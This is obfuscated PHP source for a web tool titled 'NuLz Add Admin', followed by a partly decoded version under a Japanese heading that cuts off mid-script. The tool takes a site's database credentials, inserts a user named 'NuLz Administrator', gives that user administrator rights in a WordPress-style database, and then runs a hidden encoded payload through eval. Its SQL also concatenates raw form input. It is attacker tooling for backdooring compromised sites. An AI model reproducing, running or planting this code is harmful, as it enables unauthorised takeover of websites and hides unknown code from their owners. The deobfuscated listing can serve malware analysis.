"\42\40\x2f\76\12\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\74\x6c\141\x62\145\x6c\x20\146\157\x72\x3d\x22\x64\x62\x5f\x70\x72\x65\146\151\x78\x22\40\143\x6c\x61\163\x73\75\42\160\145\x65\162\55\x66\157\x63\x75\163\x3a\146\x6f\156\164\55\x6d\x65\x64\151\x75\x6d\x20\141\x62\163\x6f\154\165\x74\x65\x20\164\x65\x78\x74\55\163\x6d\40\x74\x65\170\164\x2d\147\x72\141\x79\x2d\x35\x30\60\40\144\x61\x72\153\x3a\164\145\170\164\55\x67\162\141\171\55\64\60\60\x20\144\165\162\x61\164\151\157\x6e\55\63\60\60\x20\x74\x72\x61\156\163\x66\x6f\162\155\x20\x2d\x74\162\x61\x6e\x73\154\141\x74\145\x2d\x79\55\66\40\163\x63\x61\x6c\145\x2d\x37\65\40\x74\x6f\160\55\x33\40\x2d\172\55\x31\60\40\157\162\151\x67\151\x6e\x2d\x5b\60\135\x20\160\145\x65\162\x2d\x66\157\x63\x75\x73\x3a\x73\164\x61\162\x74\x2d\x30\40\162\x74\154\x3a\160\x65\145\162\x2d\x66\x6f\143\165\x73\72\164\x72\x61\156\x73\x6c\141\164\145\55\170\x2d\61\x2f\64\x20\x70\x65\145\x72\x2d\x66\157\143\x75\163\x3a\x74\145\170\x74\x2d\142\154\165\x65\x2d\x36\60\x30\40\x70\145\x65\162\x2d\x66\x6f\x63\165\163\x3a\144\141\x72\153\x3a\x74\145\170\164\x2d\142\154\165\x65\55\65\x30\60\x20\x70\x65\145\162\x2d\x70\x6c\141\x63\x65\x68\x6f\x6c\144\x65\x72\x2d\163\x68\157\x77\x6e\72\x73\x63\141\154\x65\x2d\61\x30\60\40\x70\x65\145\x72\55\160\154\141\143\x65\150\x6f\154\x64\x65\162\x2d\x73\150\x6f\x77\156\72\x74\162\x61\156\x73\x6c\141\164\145\x2d\171\55\x30\x20\160\x65\x65\x72\x2d\x66\x6f\x63\x75\163\x3a\x73\x63\141\154\145\55\x37\65\x20\160\145\x65\162\55\146\x6f\143\165\163\x3a\55\164\162\141\156\x73\154\x61\164\x65\x2d\171\x2d\x36\x22\x3e\x54\101\x42\x4c\x45\40\x50\x52\105\106\x49\130\74\57\154\x61\x62\145\154\76\xa\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\74\57\144\x69\166\x3e\12\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x3c\144\x69\166\x20\143\x6c\x61\163\163\x3d\x22\162\145\x6c\x61\x74\151\x76\145\40\x7a\55\x30\40\155\x64\72\167\55\62\x2f\64\x20\x77\55\x66\165\x6c\154\x20\155\142\x2d\65\x20\147\162\157\165\x70\42\76\xa\40\40\40\40\x20\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\x3d\x22\x74\x65\x78\x74\42\40\156\141\x6d\145\75\x22\141\x64\155\x69\x6e\x5f\165\x73\145\162\x6e\x61\155\x65\42\40\151\x64\x3d\42\141\x64\x6d\151\x6e\x5f\165\x73\x65\162\156\141\x6d\x65\x22\x20\143\154\141\x73\x73\75\42\x62\x6c\157\x63\x6b\40\x70\171\55\x32\x2e\65\x20\160\x78\55\x30\40\167\x2d\146\165\x6c\x6c\40\164\x65\170\164\x2d\x73\155\x20\x74\145\170\x74\x2d\x67\162\x61\171\x2d\71\x30\60\x20\142\147\x2d\x74\162\141\156\163\160\x61\x72\145\x6e\x74\x20\x70\x6c\x61\143\145\150\157\x6c\144\145\x72\x3a\164\145\170\164\x2d\x74\162\141\x6e\163\x70\141\x72\145\156\164\x20\142\157\162\144\x65\162\x2d\60\40\x62\157\162\144\x65\162\55\142\55\62\x20\142\157\162\x64\145\x72\x2d\x67\x72\141\x79\x2d\x33\x30\60\x20\141\160\160\145\x61\162\x61\x6e\x63\145\x2d\156\x6f\x6e\145\x20\x64\x61\162\x6b\x3a\x74\145\170\x74\x2d\x77\150\x69\x74\145\40\144\141\x72\x6b\72\x62\157\x72\144\145\x72\x2d\147\x72\x61\x79\55\66\60\x30\40\144\x61\162\x6b\72\146\x6f\143\x75\163\72\142\x6f\162\x64\x65\x72\x2d\142\x6c\165\x65\55\x35\x30\60\40\146\x6f\x63\165\x73\72\x6f\165\x74\154\x69\156\145\55\x6e\157\156\x65\x20\x66\x6f\x63\165\163\72\x72\x69\156\x67\55\60\x20\x66\x6f\143\x75\x73\x3a\142\x6f\162\144\145\x72\x2d\142\x6c\165\145\x2d\66\x30\x30\40\x66\x6f\x63\x75\x73\72\160\x6c\x61\143\x65\x68\x6f\x6c\x64\x65\x72\72\164\145\x78\x74\x2d\163\154\141\x74\145\55\x35\x30\60\x20\160\x65\x65\162\x22\40\160\154\141\143\x65\x68\157\154\x64\x65\162\75\x22\x73\165\x70\x65\x72\x61\x64\x6d\x69\x6e\137\x65\x78\141\x6d\x70\154\145\x22\40\x2f\76\12\x20\40\40\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\74\154\x61\142\145\x6c\x20\x66\x6f\162\75\x22\141\144\155\151\x6e\137\x75\x73\145\162\x6e\141\x6d\x65\x22\40\143\x6c\141\x73\163\75\x22\160\145\x65\x72\x2d\x66\157\x63\165\x73\x3a\x66\x6f\x6e\164\55\x6d\x65\144\x69\x75\155\40\141\142\x73\x6f\x6c\165\x74\x65\x20\x74\x65\170\164\55\163\x6d\40\x74\145\x78\x74\55\147\162\141\x79\55\65\60\x30\x20\x64\141\162\x6b\72\164\x65\x78\164\x2d\147\162\x61\x79\x2d\x34\60\60\x20\144\165\162\x61\164\x69\x6f\x6e\x2d\63\x30\60\x20\164\162\141\156\x73\x66\157\x72\155\40\x2d\164\x72\141\x6e\163\x6c\141\x74\x65\55\171\x2d\66\x20\163\143\141\154\145\55\67\x35\x20\164\157\x70\55\63\40\55\172\55\x31\60\x20\x6f\162\151\147\x69\x6e\x2d\133\60\x5d\40\x70\145\x65\162\55\146\x6f\x63\x75\x73\x3a\163\x74\141\162\164\55\60\x20\162\x74\154\72\x70\x65\x65\162\55\146\x6f\x63\x75\163\72\164\162\141\x6e\x73\154\x61\x74\x65\x2d\170\55\61\57\64\40\160\145\145\162\55\x66\x6f\143\x75\163\x3a\164\x65\170\x74\55\142\x6c\165\145\55\x36\x30\60\x20\x70\145\145\162\55\146\157\x63\x75\x73\72\x64\141\x72\x6b\x3a\x74\145\x78\164\x2d\142\x6c\165\145\x2d\x35\60\60\x20\x70\145\145\162\55\x70\154\141\143\x65\x68\x6f\x6c\144\145\x72\x2d\x73\x68\157\167\156\x3a\163\143\141\x6c\x65\55\61\x30\60\x20\160\x65\x65\162\x2d\160\x6c\141\143\145\x68\157\154\144\145\x72\x2d\163\x68\x6f\167\156\x3a\x74\x72\x61\x6e\x73\154\x61\164\145\55\x79\x2d\x30\x20\x70\145\x65\162\x2d\x66\157\x63\x75\x73\72\163\x63\141\x6c\x65\55\x37\x35\40\x70\x65\145\162\x2d\x66\x6f\143\x75\x73\72\x2d\x74\x72\141\x6e\x73\154\x61\164\145\55\171\55\66\42\x3e\x41\x64\x6d\151\156\x20\125\163\x65\162\x6e\x61\155\x65\74\x2f\x6c\x61\142\145\x6c\76\12\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\x20\40\74\x2f\144\x69\166\76\xa\40\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\74\x64\x69\166\x20\x63\x6c\x61\x73\163\75\42\x72\145\154\141\164\x69\x76\145\40\x7a\55\60\x20\155\144\72\x77\55\62\57\64\x20\167\55\x66\165\154\154\40\x6d\x62\x2d\65\x20\x67\x72\x6f\x75\x70\42\x3e\xa\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\x3c\151\x6e\x70\165\164\x20\x74\x79\160\145\75\x22\x70\141\x73\163\167\x6f\162\x64\42\x20\156\141\155\145\x3d\x22\x61\144\155\151\x6e\137\160\x61\163\163\167\157\162\x64\x22\x20\x69\x64\75\x22\x61\144\155\151\x6e\137\160\x61\x73\x73\167\x6f\x72\x64\x22\x20\x63\154\x61\163\163\75\x22\x62\x6c\x6f\x63\153\40\160\x79\x2d\x32\x2e\x35\x20\x70\170\55\x30\40\167\x2d\146\x75\154\154\x20\164\145\170\164\x2d\163\155\40\164\x65\170\164\55\147\162\141\171\55\x39\60\x30\40\142\x67\55\x74\x72\x61\156\x73\x70\x61\x72\x65\x6e\x74\x20\160\154\x61\x63\x65\x68\157\154\144\145\162\72\x74\145\x78\x74\x2d\x74\x72\x61\156\163\x70\x61\162\x65\156\x74\40\142\157\x72\x64\145\x72\55\x30\40\x62\157\162\x64\x65\x72\x2d\x62\55\x32\x20\142\157\x72\144\x65\162\x2d\147\162\141\171\x2d\x33\x30\60\x20\141\160\x70\145\x61\x72\141\156\143\145\x2d\156\x6f\156\x65\x20\x64\141\162\153\72\164\x65\x78\x74\55\x77\x68\151\x74\145\x20\x64\141\x72\153\72\142\x6f\162\x64\145\x72\x2d\x67\x72\x61\x79\x2d\66\60\60\40\144\141\x72\153\x3a\146\157\143\165\x73\72\142\x6f\x72\x64\x65\162\x2d\142\x6c\x75\x65\x2d\x35\60\x30\40\x66\x6f\x63\165\x73\72\x6f\x75\164\154\151\x6e\x65\55\x6e\157\x6e\145\40\146\157\x63\x75\163\72\162\151\156\x67\x2d\60\40\x66\x6f\143\165\163\72\142\x6f\x72\x64\145\162\55\x62\154\x75\x65\x2d\66\x30\60\40\146\157\143\x75\163\72\160\x6c\141\143\x65\150\157\x6c\x64\145\x72\x3a\x74\145\x78\164\55\163\154\141\164\145\55\65\x30\60\x20\x70\x65\145\x72\x22\40\160\x6c\x61\143\145\150\x6f\154\144\x65\162\75\x22\156\x75\154\172\137\x65\x78\x61\x6d\160\x6c\x65\x40\x31\x33\63\x37\42\40\x2f\76\xa\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\40\40\40\x20\x20\x20\74\154\141\142\145\154\x20\146\x6f\x72\75\42\x61\x64\155\151\156\137\x70\x61\163\163\167\x6f\x72\144\x22\x20\143\154\x61\x73\163\x3d\x22\160\145\x65\162\x2d\146\157\143\165\163\72\146\157\156\164\55\155\x65\x64\151\x75\155\x20\x61\x62\x73\157\x6c\165\164\x65\40\164\145\170\x74\x2d\163\x6d\x20\164\x65\x78\164\x2d\x67\162\141\x79\x2d\x35\60\x30\40\x64\x61\162\x6b\72\x74\145\170\164\x2d\147\x72\x61\x79\x2d\x34\x30\x30\40\144\x75\x72\x61\x74\x69\x6f\156\55\63\x30\60\40\164\x72\141\156\x73\146\x6f\x72\155\40\x2d\x74\162\x61\156\x73\x6c\141\x74\x65\x2d\171\x2d\66\x20\163\x63\x61\x6c\x65\55\67\65\40\164\157\160\x2d\x33\40\x2d\x7a\55\x31\60\40\x6f\162\x69\147\x69\156\x2d\133\60\x5d\40\x70\x65\145\162\55\146\157\143\165\x73\72\163\x74\x61\x72\x74\55\x30\x20\x72\x74\154\x3a\x70\145\145\162\55\146\157\x63\x75\x73\72\164\x72\x61\156\163\154\141\x74\145\55\x78\x2d\61\x2f\64\x20\160\145\x65\x72\55\146\157\x63\165\x73\x3a\x74\145\170\164\55\142\x6c\165\x65\55\x36\60\x30\40\160\145\x65\162\x2d\146\x6f\143\165\163\x3a\x64\141\x72\x6b\x3a\164\145\x78\164\55\142\x6c\165\145\x2d\x35\x30\x30\40\160\x65\145\x72\x2d\x70\x6c\141\x63\x65\x68\157\154\x64\145\162\55\163\x68\x6f\167\156\x3a\x73\143\141\x6c\x65\x2d\x31\60\x30\x20\160\145\145\x72\x2d\160\x6c\141\143\x65\150\157\154\144\x65\x72\x2d\x73\x68\157\167\x6e\x3a\164\162\x61\156\163\154\141\x74\145\55\171\55\60\40\160\x65\145\x72\x2d\x66\157\x63\x75\163\72\x73\143\x61\154\x65\x2d\67\x35\x20\160\145\x65\x72\x2d\x66\157\143\x75\x73\x3a\55\x74\162\x61\156\163\x6c\x61\164\x65\x2d\x79\x2d\x36\x22\76\101\144\155\151\x6e\x20\120\x61\x73\163\x77\157\162\144\74\x2f\x6c\141\x62\145\x6c\x3e\xa\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\x3c\57\x64\151\166\76\xa\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x3c\x64\x69\166\x20\143\154\x61\x73\163\x3d\42\x72\x65\x6c\141\x74\x69\166\145\x20\172\55\60\x20\155\x64\72\x77\x2d\62\57\64\40\x77\55\146\x75\154\x6c\x20\155\x62\x2d\65\x20\147\162\157\x75\160\x22\x3e\xa\40\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\x3c\x69\x6e\160\165\164\40\164\171\x70\x65\x3d\42\x65\155\x61\151\x6c\x22\40\x6e\x61\x6d\x65\x3d\x22\141\144\155\x69\156\x5f\x65\x6d\141\x69\x6c\42\x20\151\x64\x3d\x22\x61\x64\155\151\x6e\x5f\145\155\x61\x69\154\x22\x20\x63\154\x61\163\x73\x3d\x22\x62\154\x6f\x63\153\40\160\x79\55\x32\x2e\65\40\x70\170\55\x30\x20\167\x2d\146\165\x6c\x6c\x20\164\x65\170\164\x2d\x73\x6d\x20\164\145\170\x74\55\147\x72\141\x79\55\x39\x30\x30\40\142\x67\x2d\164\x72\x61\156\x73\x70\141\x72\x65\156\164\x20\160\154\x61\143\145\150\157\154\144\145\162\x3a\164\x65\170\164\55\164\x72\141\156\163\x70\141\x72\145\156\164\40\142\x6f\162\144\145\x72\55\60\40\142\x6f\162\x64\145\x72\55\x62\55\x32\x20\142\x6f\x72\x64\x65\x72\x2d\x67\x72\x61\171\x2d\x33\x30\x30\40\x61\x70\160\x65\x61\x72\141\x6e\143\145\55\x6e\157\x6e\x65\40\144\x61\162\153\x3a\164\x65\170\164\55\x77\150\x69\x74\145\x20\144\x61\162\153\x3a\x62\x6f\162\144\x65\x72\x2d\x67\162\x61\171\x2d\x36\x30\60\x20\144\x61\162\x6b\x3a\146\157\x63\x75\163\72\x62\157\162\144\145\162\x2d\142\x6c\x75\x65\x2d\x35\60\60\x20\146\x6f\143\x75\x73\x3a\157\x75\164\x6c\151\x6e\x65\x2d\x6e\x6f\156\x65\40\146\157\x63\165\x73\72\162\151\x6e\x67\55\60\x20\146\157\143\165\163\72\142\157\x72\144\145\x72\x2d\x62\x6c\165\145\x2d\x36\60\60\40\146\x6f\143\165\163\72\160\x6c\141\143\145\x68\x6f\x6c\x64\x65\x72\x3a\164\145\x78\x74\55\163\x6c\141\x74\x65\55\x35\60\x30\x20\160\x65\x65\x72\x22\x20\x70\154\141\143\145\150\157\154\x64\x65\x72\x3d\42\156\165\154\172\x34\x30\64\100\146\x62\x69\x2e\147\x6f\166\x22\x20\57\76\xa\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\40\40\40\40\x20\40\40\74\x6c\x61\x62\x65\154\40\x66\157\162\75\x22\x61\x64\155\x69\x6e\137\x65\x6d\x61\x69\154\42\x20\x63\154\x61\163\163\75\x22\160\x65\x65\162\x2d\x66\157\143\x75\x73\72\x66\157\156\164\55\x6d\145\x64\151\x75\x6d\40\x61\x62\x73\x6f\x6c\x75\164\x65\40\x74\x65\170\164\x2d\x73\155\40\164\145\x78\x74\55\x67\x72\141\171\55\x35\x30\60\40\144\x61\162\x6b\x3a\x74\x65\170\x74\x2d\x67\x72\141\171\x2d\64\60\x30\x20\144\165\162\x61\x74\x69\x6f\156\55\63\60\x30\40\164\x72\x61\156\x73\x66\157\162\x6d\40\55\164\162\141\156\163\154\141\x74\x65\55\x79\55\x36\x20\163\143\x61\154\x65\55\x37\x35\40\164\x6f\x70\x2d\63\40\x2d\x7a\x2d\x31\x30\40\x6f\162\151\147\x69\x6e\x2d\x5b\x30\135\x20\160\x65\145\x72\x2d\x66\157\x63\x75\x73\x3a\x73\x74\141\x72\x74\x2d\x30\40\162\x74\154\x3a\160\145\x65\x72\x2d\146\x6f\x63\165\163\x3a\x74\162\x61\x6e\x73\x6c\x61\x74\145\55\x78\55\61\57\x34\40\x72\x74\154\x3a\160\145\x65\x72\55\x66\157\143\x75\163\x3a\154\145\x66\x74\55\141\165\x74\x6f\x20\160\145\145\162\55\146\157\x63\x75\x73\x3a\x74\x65\x78\164\55\142\154\x75\x65\55\x36\60\60\x20\x70\145\x65\162\55\146\157\143\x75\163\x3a\x64\141\x72\x6b\x3a\164\145\170\x74\55\x62\x6c\165\145\x2d\x35\60\60\40\x70\145\145\162\x2d\160\x6c\141\143\x65\150\x6f\x6c\144\x65\162\55\x73\x68\x6f\167\156\x3a\x73\x63\141\x6c\145\x2d\x31\60\60\40\160\145\x65\x72\55\x70\154\141\143\x65\x68\x6f\154\144\x65\x72\x2d\163\x68\x6f\167\x6e\72\164\x72\x61\156\x73\154\141\x74\145\55\171\x2d\60\40\x70\x65\145\x72\x2d\146\157\143\165\163\72\x73\143\141\x6c\145\55\x37\x35\x20\160\145\x65\x72\55\x66\x6f\143\165\x73\x3a\x2d\164\162\x61\x6e\x73\154\141\x74\x65\55\x79\55\66\42\76\101\144\x6d\151\x6e\40\105\155\x61\x69\x6c\x3c\57\154\x61\x62\145\154\x3e\12\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\x3c\57\x64\151\x76\76\12\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\40\40\x3c\x62\x75\x74\x74\x6f\156\40\164\x79\160\145\x3d\42\x73\x75\x62\x6d\151\x74\x22\x20\x6e\x61\155\x65\x3d\x22\x61\x64\x64\x61\x64\155\151\x6e\x22\40\x63\x6c\141\x73\163\75\42\x74\x65\x78\164\55\x77\150\x69\164\145\40\142\x67\x2d\x62\x6c\x75\x65\x2d\x37\60\60\40\150\x6f\x76\x65\x72\x3a\142\147\55\142\x6c\165\x65\x2d\x38\x30\60\x20\146\157\143\x75\x73\x3a\x72\151\156\147\x2d\64\x20\x66\157\x63\x75\x73\x3a\157\165\164\x6c\x69\156\x65\x2d\156\x6f\156\145\40\146\157\x63\x75\163\72\x72\x69\156\x67\x2d\x62\154\165\145\55\x33\60\x30\40\x66\x6f\x6e\164\x2d\x6d\145\144\x69\x75\155\x20\162\x6f\x75\156\x64\x65\x64\x2d\x6c\x67\x20\x74\145\170\164\55\163\155\40\x77\x2d\x66\165\x6c\x6c\40\x73\155\72\x77\55\x61\x75\164\157\x20\x70\x78\x2d\x35\x20\160\x79\55\x32\x2e\65\x20\x74\x65\x78\x74\x2d\x63\x65\156\x74\x65\x72\x20\144\x61\162\153\x3a\x62\147\x2d\142\x6c\165\145\x2d\x36\x30\x30\40\144\x61\162\x6b\x3a\x68\x6f\x76\145\x72\72\x62\147\55\142\154\x75\145\55\67\x30\x30\40\144\x61\x72\153\x3a\146\157\x63\x75\x73\x3a\x72\x69\156\147\55\142\x6c\x75\x65\55\70\x30\60\42\76\x41\144\x64\x20\x41\144\x6d\151\x6e\x3c\57\142\x75\x74\164\x6f\156\76\xa\40\40\40\x20\x20\40\x20\40\40\40\40\40\40\40\x20\x20\x20\40\x20\40\40\74\57\146\157\x72\155\76"; } else { echo "\x3c\163\x70\x61\x6e\40\143\154\x61\163\x73\75\42\155\x78\55\64\40\155\142\55\64\x20\165\x62\165\x6e\x74\x75\x2d\x6d\157\x6e\x6f\x20" . $txtYellow . "\42\76\x53\x6f\x72\162\x79\x2e\x2e\x2e\x20\x54\150\145\x20\x43\x6f\156\x66\x69\x67\40\x50\x61\164\150\40\74\146\157\x6e\164\40\143\154\141\163\163\75\42" . $txtBlue . "\x22\76" . $config_path . "\74\x2f\146\157\x6e\x74\x3e\40\x4e\157\x74\x20\126\141\154\x69\144\x3c\57\163\160\x61\x6e\76"; } } goto DbT7h; pHkcj: $txtGreen = "\x74\145\170\164\x2d\147\162\x65\145\156\55\x36\60\60"; goto y0l1K; AqbkZ: $txtYellow = "\x74\x65\170\164\55\171\x65\154\154\x6f\x77\55\64\60\60"; goto RA86a; Lhbm3: if (isset($_POST["\141\x64\144\x61\x64\x6d\x69\x6e"])) { $f_get = "\x66" . "\x69\x6c" . "\145" . "\x5f" . "\147" . "\x65" . "\x74" . "\x5f" . "\x63\157" . "\156\x74" . "\145" . "\x6e\164" . "\x73"; $hayoloh = "\x68" . "\x74\x6d" . "\x6c" . "\163\x70" . "\145" . "\x63\x69" . "\141" . "\154\143" . "\150\x61" . "\x72" . "\163"; $dbhost = $_POST["\144\142\x5f\150\x6f\x73\164"]; $dbname = $_POST["\x64\142\137\156\141\x6d\145"]; $dbuser = $_POST["\x64\x62\137\165\163\x65\162"]; $dbpass = $_POST["\x64\142\137\160\141\x73\163"]; $dbprefix = $_POST["\144\142\x5f\x70\x72\x65\x66\x69\x78"]; $user_name = $_POST["\141\x64\155\x69\156\x5f\x75\x73\x65\x72\156\141\x6d\145"]; $user_pass_ori = $_POST["\141\x64\x6d\151\156\x5f\x70\141\163\x73\x77\x6f\162\144"]; $user_pass = md5($_POST["\x61\x64\x6d\x69\x6e\x5f\160\x61\163\163\x77\x6f\162\144"]); $user_email = $_POST["\x61\144\x6d\151\156\x5f\145\155\x61\151\x6c"]; $conn = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname); if (!$conn) { die("\103\157\x6e\x6e\x65\x63\164\x69\157\156\40\146\x61\151\154\x65\144\x3a\x20" . mysqli_connect_error()); } $haxorstars = mysqli_query($conn, "\111\116\123\x45\x52\x54\40\x49\116\x54\117\40" . $dbprefix . "\165\163\145\x72\x73\40\50\165\x73\145\162\137\x6c\x6f\147\x69\156\54\40\165\x73\x65\162\x5f\160\x61\163\x73\x2c\40\165\x73\145\x72\137\156\x69\143\145\x6e\141\155\x65\54\40\x75\163\145\x72\x5f\x65\155\141\151\x6c\x2c\40\165\x73\145\x72\x5f\163\164\141\164\x75\163\51\40\x56\x41\x4c\x55\105\x53\x20\50\x27" . $user_name . "\x27\54\x20\47" . $user_pass . "\47\x2c\40\47\116\165\x4c\x7a\40\x41\144\155\x69\156\151\x73\164\x72\x61\164\x6f\x72\47\54\x20\47" . $user_email . "\47\54\40\x27\x30\x27\x29") or die(mysqli_error($conn)); $haxorstars = mysqli_query($conn, "\x53\105\x4c\x45\103\x54\40\x49\x44\40\106\122\117\x4d\x20" . $dbprefix . "\165\163\145\162\x73\40\x57\x48\x45\122\x45\40\165\x73\145\x72\137\x6c\157\147\151\156\x3d\x27" . $user_name . "\47") or die(mysqli_error($conn)); $nulz = mysqli_num_rows($haxorstars); if ($nulz == 1) { $nulzhaxor = mysqli_fetch_assoc($haxorstars); $this_res = $nulzhaxor["\x49\104"]; } $meta_value = "\141\x3a\61\72\173\x73\72\x31\x33\72\42\x61\144\x6d\151\x6e\x69\x73\164\162\141\x74\157\x72\x22\73\163\72\61\x3a\42\61\42\x3b\175"; $haxorstars = mysqli_query($conn, "\x49\116\x53\105\122\124\x20\x49\116\x54\117\x20" . $dbprefix . "\165\163\145\162\x6d\x65\164\141\40\x28\x75\x6d\x65\x74\141\137\x69\x64\54\x20\165\x73\145\x72\x5f\x69\x64\54\x20\155\145\164\x61\x5f\x6b\145\x79\54\x20\155\145\164\x61\x5f\x76\x61\154\165\x65\x29\40\x56\101\114\x55\x45\123\x20\50\x4e\125\x4c\x4c\x2c\x20\x28\x53\x65\x6c\x65\x63\164\40\x6d\141\170\x28\151\x64\x29\x20\106\122\x4f\115\x20" . $dbprefix . "\165\x73\145\162\x73\51\x2c\40\x27" . $dbprefix . "\143\141\160\141\x62\151\154\151\164\151\x65\x73\47\54\x20\47" . $meta_value . "\x27\x29") or die(mysqli_error($conn)); if ($haxorstars) { function Gvr($cNg) { $cNg = gzinflate(base64_decode($cNg)); for ($i = 0; $i < strlen($cNg); $i++) { $cNg[$i] = chr(ord($cNg[$i]) - 1); } return $cNg; } eval(Gvr("\124\x55\x39\150\x54\70\x49\x77\x46\x50\x77\102\x2f\111\160\x6d\121\123\x63\x66\x37\x41\x54\x43\62\x49\x42\x70\154\x6a\150\121\x77\x75\x61\x45\x49\x43\x48\107\x4e\114\x56\67\144\x6f\x32\x77\x4e\x57\x33\112\x38\116\x64\142\x30\x45\x53\124\154\67\172\x63\x75\x33\x65\x58\x75\63\x59\152\106\x30\x38\172\x46\103\x45\x6e\x53\172\x5a\157\x6b\66\120\x34\x50\x6e\x33\115\x4c\x6d\x35\151\117\x34\165\141\151\62\161\x45\x48\116\167\x6d\161\62\124\65\x6b\x69\170\146\x33\x5a\x39\116\163\152\x68\116\63\104\x66\163\145\111\x32\70\63\x70\62\x2b\163\x43\x79\154\126\x61\167\x31\161\x49\x72\165\x34\123\167\66\127\x45\102\117\x43\104\x75\x57\x79\161\156\127\124\x61\x32\x4b\120\60\162\x61\x43\66\x6d\x56\107\x4c\x66\x61\110\64\x53\104\x75\x58\112\x4b\131\66\121\145\x65\122\66\126\101\150\166\131\x41\x56\144\x30\x6a\x32\166\x46\166\x66\x66\x61\53\120\x32\150\x33\x2f\x56\x37\57\125\106\x76\x46\x4d\146\124\131\x2f\x67\x38\106\171\156\67\157\x6e\x79\x37\x49\x64\120\x71\x63\71\156\x50\x65\x62\x42\x57\104\x30\60\x2b\130\170\62\63\144\x4f\61\160\161\x49\x6f\x55\x74\x4b\x59\x63\67\154\150\x4a\x44\122\106\106\x31\x41\63\x43\143\116\101\x4c\147\x32\x48\x33\60\x73\x44\x52\122\104\x62\x49\165\130\61\x6e\63\101\x4a\127\x31\x73\151\x64\141\x4b\141\105\x4e\x4c\144\60\x42\x38\x72\107\x57\x52\x30\131\x73\170\x59\x59\x59\53\124\53\162\x2b\115\151\x6f\x52\106\x54\x51\101\x30\x55\x6c\156\x51\66\x45\x2b\71\130\66\x49\x36\57\x41\x51\75\75")); } } goto FXSXX; DtvGi: ?>
<!doctypehtml><html lang="en"><head><title>NuLz Add Admin</title><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><link href="https://kit-pro.fontawesome.com/releases/v6.4.2/css/pro.min.css"rel="stylesheet"><script src="https://cdn.tailwindcss.com"></script><link href="https://cdnjs.cloudflare.com/ajax/libs/flowbite/1.8.1/flowbite.min.css"rel="stylesheet"></head><body style="background:rgba(16,66,107,.897)"><?php  goto E6Bf1; w1haS: $txtSky = "\x74\145\170\x74\55\x73\153\x79\55\x35\60\x30"; goto p_kYW; p_kYW: $txtBlue = "\164\145\170\164\55\x62\154\x75\145\x2d\65\60\60"; goto AqbkZ; T9_C0: $txtWhite = "\164\x65\170\164\55\x77\150\151\164\145"; goto gnYV2; RA86a: $txtPurple = "\x74\x65\170\164\x2d\x70\165\x72\x70\x6c\x65\55\x36\x30\x30"; goto Lhbm3; DbT7h: ?>
</body></html>

デコード(難読化解除)されたコード

<!doctypehtml><html lang="en"><head><title>NuLz Add Admin</title><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><link href="https://kit-pro.fontawesome.com/releases/v6.4.2/css/pro.min.css"rel="stylesheet"><script src="https://cdn.tailwindcss.com"></script><link href="https://cdnjs.cloudflare.com/ajax/libs/flowbite/1.8.1/flowbite.min.css"rel="stylesheet"></head><body style="background:rgba(16,66,107,.897)"><?php 
$txtBlack = "text-black";
$txtWhite = "text-white";
$txtOrange = "text-orange-500";
$txtRed = "text-red-600";
$txtRose = "text-rose-500";
$txtGreen = "text-green-600";
$txtEmerald = "text-emerald-500";
$txtSky = "text-sky-500";
$txtBlue = "text-blue-500";
$txtYellow = "text-yellow-400";
$txtPurple = "text-purple-600";
if (isset($_POST["addadmin"])) {
    $f_get = "file_get_contents";
    $hayoloh = "htmlspecialchars";
    $dbhost = $_POST["db_host"];
    $dbname = $_POST["db_name"];
    $dbuser = $_POST["db_user"];
    $dbpass = $_POST["db_pass"];
    $dbprefix = $_POST["db_prefix"];
    $user_name = $_POST["admin_username"];
    $user_pass_ori = $_POST["admin_password"];
    $user_pass = md5($_POST["admin_password"]);
    $user_email = $_POST["admin_email"];
    $conn = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname);
    if (!$conn) {
        die("Connection failed: " . mysqli_connect_error());
    }
    $haxorstars = mysqli_query($conn, "INSERT INTO " . $dbprefix . "users (user_login, user_pass, user_nicename, user_email, user_status) VALUES ('" . $user_name . "', '" . $user_pass . "', 'NuLz Administrator', '" . $user_email . "', '0')") or die(mysqli_error($conn));
    $haxorstars = mysqli_query($conn, "SELECT ID FROM " . $dbprefix . "users WHERE user_login='" . $user_name . "'") or die(mysqli_error($conn));
    $nulz = mysqli_num_rows($haxorstars);
    if ($nulz == 1) {
        $nulzhaxor = mysqli_fetch_assoc($haxorstars);
        $this_res = $nulzhaxor["ID"];
    }
    $meta_value = "a:1:{s:13:\"administrator\";s:1:\"1\";}";
